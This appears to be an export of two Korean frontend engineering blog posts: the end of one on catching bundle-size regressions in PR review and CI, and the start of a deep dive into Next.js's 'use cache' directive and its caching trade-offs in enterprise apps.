도구 단에서 미리 막을 수 있는 것들.

- `eslint-plugin-import` (특히 `no-cycle`, `no-self-import`, `no-unused-modules`)
- `eslint-plugin-barrel-files`나 `eslint-plugin-no-barrel-files`
- `depcheck` / `knip`: 안 쓰는 의존성 탐지
- `server-only` / `client-only`: RSC 경계 강제
- `eslint-plugin-react-server-components`: RSC 규칙
- Next.js 자체의 [`optimizePackageImports`](https://nextjs.org/docs/app/api-reference/config/next-config-js/optimizePackageImports): barrel을 가진 패키지를 자동 변환

PR comment보다 한 단계 위. 아예 코드에 들어오지 못하게 막는 단계다. 첫 번째 방어선으로 깔아두는 게 비용 대비 가장 효율이 좋다.

### 4. package.json 변경 PR에 대한 별도 정책

`package.json`이 변경된 PR에는 별도 reviewer나 별도 체크리스트가 필요하다. 도구가 아니라 프로세스 권고다. 의존성 한 줄을 추가하는 것은 코드 한 줄을 추가하는 것과 비용 구조가 다르다는 걸 팀이 합의해두는 것 자체가 의미가 있다.

체크리스트의 최소 항목은 다음 정도면 충분하다.

- bundlephobia나 packagephobia에서 size 확인 ([성능 분석 1편](/2025/05/web-performance-analysis-1)에서 늘 권하는 첫 단계)
- ESM 지원 여부 (`"module"` 또는 `"exports"` 필드)
- `sideEffects` 선언 여부
- 같은 기능을 하는 더 가벼운 대안이 있는지
- transitive dependency가 이미 들어 있는 라이브러리와 충돌하지 않는지

GitHub Action으로 "package.json이 diff에 있으면 별도 라벨을 붙이고 designated reviewer에게 ping" 같은 자동화를 걸면, 사람이 까먹어도 프로세스가 자동으로 작동한다.

### 5. Production 산출물에 대한 정기 점검

PR 단의 도구가 잡지 못하는 누적 비용이 있다. 이건 정기적으로 들여다보는 수밖에 없다.

- [Lighthouse CI](https://github.com/GoogleChrome/lighthouse-ci)를 staging에 붙여서 LCP/TBT regression 추적
- Sentry source map 업로드해서 production에서 실제 어떤 코드가 도는지 추적
- 정기적으로 [`source-map-explorer`](https://github.com/danvk/source-map-explorer)나 webpack-bundle-analyzer로 treemap 점검
- RUM 도구 (Vercel Speed Insights, Sentry Performance, DataDog RUM 등)로 LCP/INP 분포 모니터링

PR 단의 size-limit이 이번 변경의 비용을 잡는다면, 정기 점검은 쌓여서 임계점을 넘은 비용을 잡는다. 둘은 보완 관계다.

## 그냥 매번 산출물을 push해서 빌드 결과를 비교하는 건 어떨까

여기까지 따라온 사람이라면 자연스럽게 떠오르는 발상이다. PR diff에서 산출물이 안 보이는 게 문제라면, 매 PR마다 빌드 결과까지 같이 push해서 git diff로 산출물의 변화를 보면 되지 않나? 가장 단순하고 직관적인 해법처럼 들린다.

권하지 않는다. 왜 안 되는지를 짚어두면 결론이 더 단단해진다.

### 1. Minified bundle은 인간이 읽을 수 있는 단위로 diff되지 않는다

`git diff`로 두 bundle을 비교하면 한 줄짜리 거대한 문자열 전체가 통째로 바뀐 것처럼 보인다. 변수명이 `a`, `b`, `c`로 mangling되어 있고, scope hoisting 때문에 함수 경계가 사라져 있고, 번들러의 chunk 분할이나 plugin 실행 순서에 따라 mangle 결과 자체가 달라질 수 있다. "이전과 이후의 비교"라는 행위가 의미 있는 단위로 정렬되지 않는다. 한 줄 코드 변경이 mangled bundle에서는 수백 줄 diff로 나타나고, 반대로 큰 의미 변화가 작은 diff로 보일 수도 있다.

이걸 해결하려고 unminified로 커밋하면 size가 자릿수 단위로 부풀어서 다음 문제로 직행한다.

### 2. Repo 크기 폭발

일반적인 SPA bundle은 압축 후 200KB~2MB. 매 PR마다 git에 들어가면 1년이면 수 GB 단위로 git history가 비대해진다. clone 시간이 폭증하고, GitHub LFS 비용이 들고, CI checkout 시간이 늘어난다. 모노레포에서는 더 빠르게 누적된다.

git은 같은 binary blob을 dedup하지만, minifier 출력처럼 매번 미세하게 다른 산출물에는 dedup이 거의 효과가 없다. shallow clone으로 임시방편 가능하지만, 그건 history를 보지 않겠다는 뜻이다. 그게 이 접근의 원래 목적이었으니 자기모순이 된다.

### 3. Source of truth 혼란

빌드 산출물이 repo에 있으면 누군가 산출물만 직접 수정하는 사고가 일어난다. 핫픽스 상황에서 "지금 빌드 돌릴 시간이 없으니 dist만 잠깐 고치자"가 발생한다. 그 순간 산출물이 source와 sync되어 있는지를 다시 검증해야 한다. 또 다른 검증 layer가 필요해진다는 뜻이다.

게다가 툴체인 버전이나 플랫폼 의존 plugin 차이로 환경 간 미세한 산출물 차이가 발생하는 경우가 있다. CI 환경과 로컬 환경이 같은 lockfile을 써도 OS별 binary 의존이나 plugin 동작 차이로 byte-level identical을 보장하기 어렵고, 그 결과 매 PR이 의미 없는 false-positive diff로 가득 찰 수 있다. 이걸 막으려면 빌드 환경을 docker로 완전히 고정해야 하는데, 그 비용을 들일 가치가 있는지는 별개의 질문이다.

### 4. 애플리케이션 frontend에서는 권장 관행이 아니다

라이브러리 배포 영역에서는 여전히 `dist/`를 커밋하는 프로젝트가 있다. CDN 직접 배포, 빌드 환경 없는 소비자 지원, generated artifact 리뷰 같은 목적에서다. 그러나 애플리케이션 frontend에서 빌드 산출물을 git history에 계속 누적하는 방식은 PR 리뷰 전략으로 권하기 어렵다. jQuery·Bootstrap 시대의 라이브러리 배포 관행에서는 흔했지만, 애플리케이션 bundle diff를 사람이 검토하기 위한 방법으로는 비용 대비 효용이 낮다. `.gitignore`에 `dist/`, `build/`, `.next/`를 넣는 것이 애플리케이션 쪽 표준이 된 데에는 이유가 있다.

### "그럼 deploy에는 안 쓰고, 비교 용도로만 push하면?"

여기까지 읽으면 더 좁은 변형이 떠오른다. dist를 deploy artifact로 쓰지 말고, 순수하게 비교 용도로만 매 PR마다 push해서 git diff로 산출물 변화를 확인하면 어떨까. 가장 합리적인 절충안처럼 보이지만, 위 반박들 중 핵심은 거의 그대로 살아 있다.

- minified bundle diff는 비교 용도라도 사람이 의미 단위로 못 읽는다. byte가 변했다는 건 알 수 있지만 "왜 +18KB인지"는 보이지 않는다. 비교의 정보 가치가 거의 없다.
- "비교용으로만"이라고 해서 git history에 누적되는 binary blob이 사라지지는 않는다. 별도 브랜치나 LFS로 분리하면 main history는 보호되지만, 그 시점에는 "그냥 git에 넣는다"의 단순함이 이미 사라진다.
- false positive가 비교 용도일수록 더 치명적이다. 환경 차이로 byte 차이가 한두 번 발생하는 순간 비교 신호 전체가 오염되고, 팀은 알람을 무시하기 시작한다.

unminified로 빌드해서 push하면 첫 번째 문제(diff 가독성)는 풀리지만, repo 크기가 자릿수 단위로 더 악화되고, minified production과 다른 산출물을 비교하게 되어 글의 출발점인 "사용자가 받는 코드"에서 오히려 멀어진다.

비교의 가치를 진짜로 살리려면 의미 단위로 비교 가능한 형태가 필요하다. 그건 stats JSON, size metric, module graph다. 그 시점에는 dist 자체를 git에 넣을 이유가 사라진다. 외부 시계열 서비스(RelativeCI, Codecov)가 정확히 이 발상이 정련된 형태다.

### 그런데 이 직관 자체는 절반 맞다

빌드 결과를 이전과 이후로 비교한다는 방향성은 옳다. 다만 비교 대상이 bundle 파일 자체가 아니라 bundle의 메타데이터여야 한다.

#### Bundle stats JSON

webpack/vite/rollup 모두 build 시 stats JSON을 뽑을 수 있다.

```json
{
  "entrypoints": {
    "main": { "size": 245678, "assets": ["main.abc123.js"] }
  },
  "modules": [
    { "name": "node_modules/lodash/index.js", "size": 71234 },
    { "name": "node_modules/react-dom/index.js", "size": 134567 }
  ],
  "chunks": [...]
}
```

bundle 파일 본체가 아니라 그래프와 size 정보만 들어 있는 JSON이다. bundle의 1/100 크기로 의미 단위 비교가 가능하다. 별도 브랜치(`bundle-stats`)에 누적하거나 외부 저장소에 보내는 식으로 history를 만들 수 있다. 직접 구축하면 도구가 빈약하다는 단점이 있다.

#### 외부 시계열 서비스

[RelativeCI](https://relative-ci.com)와 [Codecov Bundle Analysis](https://docs.codecov.com/docs/javascript-bundle-analysis)가 정확히 이 모델이다. bundle을 git에 넣지 않고 외부 저장소에 시계열로 누적하면서, PR마다 "지난 main 대비 +18KB, lodash가 새로 들어왔음" 같은 코멘트를 자동으로 단다. "이전과 이후의 비교"라는 원래 직관이 정확히 이런 형태로 구현되어 있다.

#### GitHub Actions artifact

매 빌드마다 webpack-bundle-analyzer의 HTML treemap을 90일 보관. git history에는 안 들어가지만, 언제든지 과거 시점의 산출물 구조를 시각적으로 볼 수 있다. 외부 서비스 도입이 부담스러운 환경에서 가장 가볍게 시작할 수 있는 형태다.

#### 정리

| 접근                                   | 권할 만한가               |
| -------------------------------------- | ------------------------- |
| Bundle 파일 자체를 git history에 커밋  | ❌ 한 세대 전 실패한 패턴 |
| Bundle stats JSON을 별도 브랜치에 누적 | △ 가능하지만 도구가 빈약  |
| RelativeCI / Codecov Bundle Analysis   | ✅ 가장 현실적            |
| GitHub Actions artifact로 treemap 보관 | ✅ 보조 수단으로 좋음     |

빌드 산출물 자체가 아니라 빌드 산출물의 그림자를 history에 남기는 것. 이 한 보정이 직관과 실무 사이의 거리를 메운다.

## 그래도 잘 안 켜져 있는 이유

여기까지의 도구들은 다 무료이고, 셋업도 한나절이면 된다. 그런데 실제로 frontend 프로젝트들을 둘러보면 이 중 하나도 안 켜져 있는 경우가 많다. 왜인가.

첫째, **단일 PR의 비용이 보이지 않기 때문이다.** "이번 PR이 +5KB"는 아무도 신경 쓰지 않는다. 그게 100번 쌓여야 +500KB가 되고, 그 시점에는 어느 PR이 원인이었는지 추적이 불가능하다. 누적 비용은 책임 소재가 분산되기 때문에 누구도 막지 않는다.

둘째, **도구를 켜는 순간 budget을 정해야 한다.** budget을 정하면 budget을 깨는 PR이 발생하고, 그 PR을 막을지 통과시킬지를 결정해야 한다. 결정 비용이 들기 시작하면 도구를 끄게 된다. 이걸 방지하려면 budget을 "현재 size + 약간의 여유"로 시작해서 점진적으로 조이는 운영 정책이 필요하다.

셋째, **false positive에 대한 피로다.** 툴체인 차이, lockfile 변경 없는 transitive update, 압축 전 입력의 미세한 차이가 압축 후 byte size에 비선형적으로 반영되는 경우 등으로 의미 없는 +1KB 알람이 가끔 발생한다. 이게 두세 번 반복되면 팀이 "또 그거"로 흘려버리기 시작한다. 막으려면 alarm 임계값을 적절히 잡아야 한다. 1KB 미만은 무시, 5KB 이상이면 코멘트, 50KB 이상이면 fail 같은 식의 단계적 대응.

이 세 가지를 모두 해결하지 못하면 도구는 도입되었다가 무력화된다.

## 마치며

frontend에서 "코드 리뷰가 충분하다"는 말은 절반만 참이다. 우리는 사용자가 받는 코드를 리뷰하고 있지 않다. PR diff에 +1줄로 보이는 변경이 사용자 브라우저에서 +200KB가 되는 비대칭은, 그 비용을 사람이 보는 자리로 끌어올리지 않는 한 닫히지 않는다.

여기서 제안한 해법은 새롭지 않다. 다 알려진 도구이고, 다 무료이고, 다 셋업이 어렵지 않다. 빠져 있는 건 그 도구들이 어디에 어떻게 배치되어야 하는지에 대한 관점이다. 사람이 bundle을 읽는 게 아니라 bundle의 변화가 사람의 시야에 강제로 들어와야 한다. 이 관점이 빠지면 도구 추천 글로 끝나고, 도구는 켜졌다가 꺼진다.

AI 에이전트가 자동으로 dependency를 추가하고 컴포넌트를 리팩토링하는 시대에는 이 비대칭이 사람의 속도가 아니라 에이전트의 속도로 누적된다. PR 한 개로 라이브러리 셋이 추가되고 barrel이 두 개 생기는 일이 일상이 될 때, "리뷰어가 꼼꼼히 보면 된다"는 방어선은 더 빠르게 무너진다. bundle size diff를 PR에 자동으로 띄우는 일은 그 시점에는 nice-to-have가 아니라 default가 되어 있어야 한다. 컴파일러 출력을 신뢰할 수 있게 만든 건 컴파일러가 아니라 그 주변의 검증 인프라였다는 사실을 받아들인다면, frontend에는 그 인프라가 절반만 있다는 사실부터 인정해야 한다.

[^barrel-files]: [eslint-plugin-barrel-files](https://npmx.dev/package/eslint-plugin-barrel-files) — barrel file과 관련된 흔한 실수를 잡는 ESLint 플러그인.

[^no-barrel-files]: [eslint-plugin-no-barrel-files](https://npmx.dev/package/eslint-plugin-no-barrel-files) — barrel file 자체를 disallow하는 ESLint 플러그인.

---

Source: https://yceffort.kr/2026/05/use-cache-deep-dive.md
Title: <em>'use cache'</em> 디렉티브 딥다이브: 캐시 경계의 끝까지
Description: "use cache" 한 줄이 만드는 빌드 타임 변환, 캐시 키 직렬화, ResumeDataCache, cacheHandler, 그리고 Cache Components까지
Date: 2026-05-01
Tags: react, nextjs, frontend
Series: 디렉티브 딥다이브

## Table of Contents

## 서론

```tsx
async function getProducts() {
  'use cache'
  const products = await db.products.findMany()
  return products
}
```

`'use cache'` 한 줄. 이걸 함수 본문 첫 줄에 적는 순간, 이 함수는 더 이상 일반 함수가 아니다. 호출 지점에서 즉시 실행되어 결과를 만드는 함수가 아니라, **캐시 핸들러에 키와 함께 위임되는 함수**가 된다. `useMemo`처럼 같은 컴포넌트 안의 메모이제이션도 아니고, `React.cache`처럼 한 요청 안의 dedup도 아니다. **요청이 끝나도 결과가 재사용될 수 있는 캐시 엔트리**다. 다만 캐시 키에는 buildId가 포함되므로, 새 deploy를 넘어서 같은 엔트리를 재사용하는 모델은 아니다 — 캐시는 "요청과 요청 사이"를 넘을 수 있지만, "빌드와 빌드 사이"를 안정적으로 넘는다고 가정해선 안 된다.

[지난 글에서 `'use server'`가](/2026/03/react-server-functions-deep-dive) 함수를 클라이언트가 호출 가능한 RPC 엔드포인트로 변환했고, [그 다음 글에서 `'use client'`가](/2026/05/use-client-deep-dive) 모듈을 클라이언트 번들 그래프의 진입점으로 변환했다. 이번 글은 디렉티브 3부작의 마지막이다. `'use cache'`가 함수를 **캐시 엔트리의 진입점**으로 변환하는 모든 단계를 따라간다. 빌드 타임에 SWC가 함수를 어떻게 다시 쓰는가, 런타임에 어떤 키가 만들어지는가, 캐시 핸들러는 무엇을 저장하는가, 그리고 `cacheLife`/`cacheTag`/`updateTag`가 그 위에서 어떻게 동작하는가까지.

용어 정리부터 한다.

- **`use cache` 디렉티브**: 함수, 컴포넌트, 또는 파일 전체를 캐시 가능하다고 표시하는 문자열 디렉티브. 세 가지 변형이 있다 — `'use cache'`, `'use cache: private'` (v16 기준 experimental), `'use cache: remote'`.
- **캐시 엔트리(Cache Entry)**: 캐시 키 하나에 매핑되는 결과물. 직렬화된 RSC payload(또는 일반 값), 그리고 `revalidate`/`expire`/`stale` 타이밍과 태그 메타데이터를 함께 담는다.
- **캐시 핸들러(Cache Handler)**: 엔트리를 실제로 저장/조회하는 백엔드. Next.js 기본 `'use cache'`는 in-memory 저장이며, `cacheHandlers` 설정으로 외부 핸들러로 바꿀 수 있다.
- **Resume Data Cache(RDC)**: Next.js 내부 구현에서 등장하는 렌더 단위의 in-process 캐시 계층. public API는 아니며, 같은 렌더 안에서 같은 캐시 함수를 두 번 호출했을 때 두 번째 호출이 cacheHandler를 거치지 않게 하는 역할이다. 이 글에서 RDC를 자주 언급하는 이유는 내부 흐름을 설명하기 위함이다.
- **Cache Components**: `cacheComponents: true` 설정. `'use cache'`의 활성 조건이자, PPR(Partial Prerendering)의 기반.

> 이 글의 소스 코드 분석은 **Next.js 16.2.4** 기준이다. `use cache`는 v15에서 experimental로 도입되어 v16에서 stable이 됐고, 그 사이 내부 구현이 여러 번 바뀌었다. `'use cache: private'`은 v16 시점에도 여전히 experimental이며, 이 글의 설명은 v16.2.4 시점 공식 문서를 기준으로 한다.

## 먼저 결론

내부 구현으로 들어가기 전에 실무 관점의 요약을 먼저 둔다. 길게 보지 않더라도 이 정도는 머리에 남기면 좋다.

- `'use cache'`는 `unstable_cache`의 문법 치환이 아니라 **Cache Components 모델로의 전환**이다. 단순히 디렉티브 한 줄로 바꾼다고 끝이 아니라, 페이지가 static / cached / dynamic 세 영역으로 쪼개지는 모델 위에서 동작한다.
- `cookies()`/`headers()`/`searchParams` 같은 **request-scoped 데이터는 직접 읽지 말고 인자로 빼서 전달**하는 것이 기본 패턴이다.
- `cacheLife`는 **항상 명시하는 편이 안전하다**. 명시하지 않으면 nested cache의 짧은 lifetime이 외부로 propagation될 수 있고, 빌드 시점 에러로 이어질 수 있다.
- `'use cache: private'`은 **서버 캐시가 아니라 브라우저 메모리 캐시**다. 서버에서는 매 렌더마다 함수가 실행되며, reload를 넘어서 유지되지 않는다.
- `'use cache: remote'`는 **공유 캐시가 명확히 필요할 때만** 쓴다. seconds 단위로 자주 바뀌는 데이터에 자동으로 정답이 되지는 않는다.
- 엔터프라이즈 앱의 핵심 업무 화면에서는 `'use cache'`를 넓게 쓰기 어렵다. 권한, 개인화, mutation, stale data 허용 범위 때문에 캐시 키와 무효화 설계가 급격히 복잡해진다. 이런 경우에는 프레임워크 캐시보다 API/BFF/DB/CDN 계층의 캐시가 더 통제 가능하다.

각 항목의 근거와 내부 동작이 본문이다.

## 언제 'use cache'를 붙일 것인가

| 상황                                                                       | 권장                                             |
| -------------------------------------------------------------------------- | ------------------------------------------------ |
| 공개 콘텐츠, 문서, FAQ, 약관, 공지                                         | `'use cache'`                                    |
| 상품/요금제/카탈로그처럼 여러 사용자가 공유하고 stale 허용 가능한 데이터   | `'use cache'`                                    |
| 국가/통화/은행 코드/정책 테이블 같은 reference data                        | `'use cache'` + 긴 `cacheLife`                   |
| MDX 변환, syntax highlighting, 리포트 집계처럼 deterministic하고 비싼 계산 | `'use cache'`                                    |
| tenant 단위 공통 설정처럼 key cardinality가 낮고 반복 조회되는 데이터      | `'use cache'`, 필요 시 tag 기반 무효화           |
| rate-limited API, 느린 backend, 비싼 외부 연산                             | `'use cache: remote'`                            |
| 컴플라이언스상 서버 저장 금지                                              | `'use cache: private'` (브라우저 메모리 캐시)    |
| 사용자별 승인함, 알림, 주문, 정산, 권한 메뉴                               | 기본적으로 캐시하지 않음                         |
| mutation 직후 read-your-own-writes가 중요한 화면                           | `updateTag` 설계가 명확할 때만 제한적으로 사용   |
| 매 요청 다른 값이 필요 (`crypto.randomUUID`, `Date.now`)                   | 캐시 밖으로 분리 (`connection()`로 dynamic 강제) |

이 표는 본문에서 다시 펼쳐 설명하지만, 실무 판단의 출발점은 이 정도면 충분하다.

## 그런데 엔터프라이즈 앱에서는 왜 잘 안 쓰는가

여기까지 보면 `'use cache'`는 꽤 강력해 보인다. 그런데 실제 엔터프라이즈 웹 애플리케이션에서는 이런 프레임워크 레벨 캐시를 적극적으로 쓰는 경우가 생각보다 많지 않다. 이유는 성능이 중요하지 않아서가 아니다. 엔터프라이즈 앱의 핵심 문제는 보통 "빠르게 보여주기"보다 "항상 권한, 상태, 정합성이 맞는 데이터를 보여주기"에 더 가깝기 때문이다.

`'use cache'`는 같은 cache key에 대해 같은 결과를 재사용하는 모델이다. 그런데 엔터프라이즈 앱의 많은 화면은 같은 URL, 같은 컴포넌트, 같은 props처럼 보여도 실제 결과가 다음 요소에 따라 달라진다.

- 사용자 권한
- 조직, 부서, 역할
- 세션 상태
- feature flag
- 계약 조건
- locale, currency
- 개인정보 마스킹 정책
- audit / compliance rule
- 방금 수행한 mutation 결과

이 차원들을 모두 캐시 키에 넣으면 key cardinality가 급격히 커진다. 반대로 일부를 빼면 권한 누수나 잘못된 데이터 노출이 발생할 수 있다. 결국 엔터프라이즈 앱에서 가장 무서운 캐시 버그는 stale data가 아니라 **권한이 다른 사용자에게 잘못된 결과가 보이는 것**이다.

예를 들어 주문 목록 화면이 다음 차원으로 달라진다고 해보자.

```txt
organizationId: 500개
role: 8개
region: 10개
status filter: 12개
page: 100개
sort: 6개
```

이론상 조합은 다음과 같다.

```txt
500 × 8 × 10 × 12 × 100 × 6 = 28,800,000
```

이런 캐시는 대부분 hit rate가 낮다. hit rate가 낮은 캐시는 성능 최적화가 아니라 복잡성만 늘리는 코드다.

또 하나의 문제는 mutation이다. 엔터프라이즈 앱에는 승인, 취소, 정산, 권한 변경, 사용자 초대, 계약 상태 변경 같은 작업이 많다. 이런 화면에서는 사용자가 방금 한 변경을 즉시 봐야 한다. `revalidateTag(tag, 'max')`처럼 stale 응답을 먼저 주고 백그라운드에서 갱신하는 방식은 블로그, 문서, 상품 카탈로그에는 적합하지만, 승인/정산/권한 화면에서는 운영 사고가 될 수 있다.

그래서 실무에서는 캐시를 안 쓰는 것이 아니라, 보통 더 통제 가능한 계층에서 쓴다.

| 계층                 | 주 사용처                       | 이유                           |
| -------------------- | ------------------------------- | ------------------------------ |
| CDN                  | 정적 asset, 공개 페이지, 이미지 | 가장 안전하고 효과가 큼        |
| API Gateway          | 공통 API 응답, rate limit       | 중앙 통제 가능                 |
| BFF / Backend        | 도메인 데이터                   | 권한·정합성 로직과 가까움      |
| Redis / Memcached    | 세션, 권한, expensive query     | 명시적 key 관리 가능           |
| DB materialized view | 리포트, 통계                    | 데이터 정합성 관리 쉬움        |
| Search index         | 검색/필터/목록                  | 질의 성능 최적화               |
| React Query / SWR    | 클라이언트 재요청 dedup         | 사용자 단위 캐시라 비교적 안전 |

즉 엔터프라이즈 앱에서 프레임워크 레벨 캐시는 전체 화면에 넓게 거는 도구라기보다, public-ish / low-volatility / low-risk 영역에 제한적으로 붙이는 도구에 가깝다. 프레임워크 캐시가 쓸모없어서가 아니라, 엔터프라이즈 도메인의 리스크 모델과 맞지 않는 경우가 많기 때문이다.

## 그래도 잘 맞는 영역은 분명히 있다

엔터프라이즈 CRUD/백오피스/권한 중심 앱만 보면 `'use cache'`는 쓸 일이 거의 없어 보이는 게 정상이다. 억지로 쓰면 대개 복잡성만 늘어난다. 다만 "쓸 일이 없다"가 아니라, **쓸 수 있는 영역이 생각보다 좁고 명확하다**. 적용 범위를 알면 같은 앱 안에서도 캐시가 정확히 효과를 내는 자리가 보인다.

대략 다음 조건을 만족하면 `'use cache'`가 유용하다.

```txt
1. 같은 입력이면 같은 출력이라고 말할 수 있다.
2. 캐시 키 cardinality가 낮다.
3. 여러 사용자가 같은 결과를 자주 본다.
4. stale data가 잠깐 보여도 사고가 아니다.
5. mutation 후 무효화 경로를 설명할 수 있다.
6. 원본 연산이 비싸거나 느리거나 rate limit이 있다.
7. 권한·개인정보·마스킹 정책과 거의 무관하다.
```

이 중 3~4개만 깨져도 안 쓰는 게 맞다. Next.js 공식 문서[^6]도 `'use cache'`를 데이터 레벨 함수 캐싱과 UI 레벨 컴포넌트/페이지 캐싱에 모두 쓸 수 있다고 설명하지만, fresh data가 매 요청 필요하면 `'use cache'`가 아니라 Suspense로 streaming하라고 분리한다. "모든 서버 데이터에 캐시를 걸라"는 모델이 아니다.

### 1. 공개 콘텐츠 / 문서 / 도움말 / 약관

가장 정석적인 케이스다. 공지사항, FAQ, 도움말, 약관, 개발자 문서, 블로그, 릴리즈 노트, 마케팅 페이지 — 권한 차이 거의 없음, 변경 빈도 낮음, 여러 사용자가 같은 내용을 봄, stale 허용 가능, 무효화 경로 명확함.

```tsx
import {cacheLife, cacheTag} from 'next/cache'

export async function getHelpArticles() {
  'use cache'
  cacheLife('hours')
  cacheTag('help-articles')
  return cms.getArticles()
}
```

CMS 호출을 줄이고, static shell에 포함시키기도 쉽다.

### 2. 상품 카탈로그 / 요금제 / 공개 reference data

엔터프라이즈 앱 안에도 이런 데이터는 있다 — 요금제 목록, 상품 카테고리, 수수료율 표, 지원 국가/통화 목록, 은행 코드, 카드 BIN 정보, 약관 버전, 공개 정책 테이블. "업무 데이터"처럼 보이지만 실제로는 **reference data**에 가깝다.

```tsx
export async function getSupportedBanks() {
  'use cache'
  cacheLife('days')
  cacheTag('supported-banks')

  return db.banks.findMany({
    where: {enabled: true},
    orderBy: {name: 'asc'},
  })
}
```

권한 영향이 작고, 변경 빈도가 낮고, 여러 화면에서 반복 사용된다. 잘 맞는다.

### 3. 비싼 deterministic 계산

DB보다 서버 계산이 비싼 경우가 있다. MDX/Markdown 변환, syntax highlighting, 문서 목차 생성, facet 계산, 권한 무관 통계 카드, 리포트 요약.

```tsx
export async function renderMarkdown(slug: string) {
  'use cache'
  cacheLife('weeks')
  cacheTag(`doc-${slug}`)

  const source = await cms.getMarkdown(slug)
  return compileMDX(source)
}
```

입력이 `slug`로 작고, 결과가 deterministic하며, 연산이 비싸다. 캐시의 본래 목적에 가장 잘 맞는 케이스다.

### 4. 여러 컴포넌트가 공유하는 같은 데이터

같은 데이터가 여러 컴포넌트에서 반복 호출되거나, UI와 독립적으로 캐시하고 싶을 때 유용하다.

```tsx
export async function getServiceConfig(serviceId: string) {
  'use cache'
  cacheLife('hours')
  cacheTag(`service-config-${serviceId}`)

  return db.serviceConfig.findUnique({where: {serviceId}})
}
```

여기서 중요한 건 `serviceId`가 권한 차원을 대표할 수 있어야 한다는 점이다. `userId`까지 들어가야 하는 순간 캐시 효율은 급격히 떨어진다.

### 5. static shell 안의 cached island

이게 Cache Components 모델에서 가장 의도에 가까운 사용처다. **전체 페이지를 캐시하는 게 아니라, 안전한 island만 캐시한다.**

```tsx
export default function Page() {
  return (
    <>
      <CachedProductSummary productId="abc" />

      <Suspense fallback={<Skeleton />}>
        <UserSpecificPurchaseHistory />
      </Suspense>
    </>
  )
}

async function CachedProductSummary({productId}: {productId: string}) {
  'use cache'
  cacheLife('hours')

  const product = await getProduct(productId)
  return <ProductSummary product={product} />
}
```

엔터프라이즈 앱에서도 적용 가능하다.

| 캐시 가능                        | 캐시 금지         |
| -------------------------------- | ----------------- |
| 공통 안내 영역                   | 내 승인 대기 건수 |
| 상품 설명, 정책 설명             | 내 권한 메뉴      |
| 문서 링크                        | 내 정산 금액      |
| 비권한성 통계 / 서비스 상태 요약 | 내 고객 목록      |

같은 페이지 안에서도 절반은 캐시되고 절반은 dynamic이 되는 — 그게 PPR의 그림이다.

### 6. upstream 보호가 필요한 외부 호출

`'use cache: remote'`의 본 영역이다. 외부 CMS rate limit이 빡세거나, 외부 API 호출 비용이 크거나, DB 집계 쿼리가 비싸거나, 서버리스 인스턴스가 많아 in-memory hit rate가 낮을 때.

```tsx
export async function getExchangeRate(base: string, quote: string) {
  'use cache: remote'
  cacheLife({revalidate: 60 * 10, expire: 60 * 60})
  cacheTag(`exchange-rate-${base}-${quote}`)

  return externalRateApi.getRate(base, quote)
}
```

> 단, 도메인 맥락에 주의해야 한다. 금융 도메인의 "실거래 환율"이라면 캐시는 위험하다 — 가격이 한 박자라도 어긋나면 운영 사고로 직결된다. 같은 엔드포인트라도 "참고용 고시 환율" 용도라면 캐시가 가능성 있다. 같은 데이터가 어떤 화면에 어떤 의미로 쓰이는지가 캐시 가능 여부를 결정한다.

### 7. tenant 단위로 반복 조회되는 데이터

완전 개인화 데이터는 캐시하기 어렵지만, **tenant 단위 데이터는 가능할 수 있다**. tenant 수가 제한적이고 (key cardinality 낮음), tenant 안의 많은 사용자가 같은 결과를 보기 때문이다.

```tsx
export async function getTenantTheme(tenantId: string) {
  'use cache'
  cacheLife('hours')
  cacheTag(`tenant-theme-${tenantId}`)

  return db.tenantTheme.findUnique({where: {tenantId}})
}
```

tenantId별 테마 설정, tenantId별 공개 상품 목록, tenantId별 약관, tenantId별 feature availability, tenantId별 온보딩 문구 — `userId` 단위로 쪼갠 캐시보다 훨씬 낫다.

### 빠른 의사결정 표

각 절을 다 안 읽어도 다음 질문 한 번이면 거의 결정된다.

| 질문                                                 | 답이 YES면         |
| ---------------------------------------------------- | ------------------ |
| 이 결과를 여러 사용자가 공유해서 보는가?             | `'use cache'` 후보 |
| 권한 없이 공개해도 되는가?                           | 강한 후보          |
| stale이 1~10분 보여도 괜찮은가?                      | 강한 후보          |
| key 조합이 작고 반복되는가?                          | 강한 후보          |
| 원본 연산이 비싼가?                                  | 강한 후보          |
| mutation 후 날릴 tag를 명확히 말할 수 있는가?        | 사용 가능          |
| `userId`/session/permission이 key에 들어가야 하는가? | 대체로 비추천      |
| stale이 운영 사고가 되는가?                          | 쓰지 말 것         |

### 한 문장으로

`'use cache'`는 **업무 데이터 캐시 도구**라기보다, **공유 가능하고 변동성이 낮은 서버 결과를 static shell 또는 runtime cache에 편입시키는 도구**다. 그래서 일반적인 엔터프라이즈 CRUD 앱에서는 쓸 일이 적어 보이는 게 맞다. 하지만 같은 앱 안의 문서·공지·약관·도움말, 설정성 reference data, 상품/요금제 카탈로그, 비싼 deterministic 계산, tenant 단위 공통 설정, stale 허용 가능한 통계, rate limit 있는 외부 API 결과 — 이런 영역에서는 충분히 잘 맞는다.

핵심은 이거다. **"이 데이터를 캐시할 수 있나?"가 아니라 "이 결과를 공유해도 되는가?"부터 묻는다.**

## 'use cache'는 메모이제이션 마커가 아니다

가장 먼저 짚어야 할 오해가 있다. "`'use cache'`는 `useMemo`나 `React.cache`의 서버 버전 아닌가?"라는 생각이다. 결과만 놓고 보면 비슷해 보인다 — 같은 입력에는 같은 출력을 주고, 두 번째 호출은 빠르다. 하지만 동작 모델이 완전히 다르다.

세 도구의 스코프와 키 생성 방식을 비교해보자.

| 도구                | 스코프                    | 키 생성                             | 저장 위치              | 수명                                                |
| ------------------- | ------------------------- | ----------------------------------- | ---------------------- | --------------------------------------------------- |
| `useMemo(fn, deps)` | 한 컴포넌트 인스턴스      | 의존성 배열의 참조 동등성           | React fiber            | 컴포넌트가 살아있는 동안                            |
| `React.cache(fn)`   | 한 요청(server)           | 인자의 참조 동등성 (Map 기반)       | request-scoped storage | 요청이 끝나면 폐기                                  |
| `'use cache'`       | 빌드 산출물 + 런타임 모두 | **인자 직렬화 + 함수 ID + 빌드 ID** | RDC + cacheHandler     | `revalidate`/`expire` + buildId. 새 deploy면 무효화 |

차이의 핵심은 두 가지다.

**첫째, 키 도메인이 다르다.** `useMemo`/`React.cache`는 자바스크립트 객체 참조로 비교한다. 같은 인자라도 객체가 새로 생성되면 캐시 미스다. `'use cache'`는 인자를 **직렬화한 후** 해시로 비교한다. `{id: 1}`을 두 번 만들어 넘겨도 같은 키다.

